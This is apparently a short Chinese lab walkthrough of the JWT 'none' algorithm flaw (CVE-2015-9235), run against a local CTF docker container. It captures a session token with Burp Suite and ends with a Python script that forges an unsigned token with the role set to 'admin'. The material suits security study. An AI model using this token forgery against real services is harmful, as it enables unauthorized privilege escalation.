空加密算法(cve-2015-9235)
1、centos(192.168.101.148)使用docker拉取环境
docker pull gluckzhang/ctf-jwt-token
2、在docker中启动服务
docker run --rm -p 9090:8080 gluckzhang/ctf-jwt-token
3、启动成功,访问主页,输入任意账号密码尝试登录
4、登录失败,会返回正确的账号和密码
5、使用正确的账号密码登录
6、登录后,开启burpSuite代理,刷新界面抓取到token
7、进入jwt.io网站,将token进行解密,发现payload中有角色信息:user
8、使用python的jwt库,修改payload中的角色信息后,生成新的token
jwt_encode.py
import jwt
payload={
"auth": 1710292524616,
"agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"role": "admin",
"iat": 1710292525
}
print( jwt.encode( payload, None, algorithm="none" ) )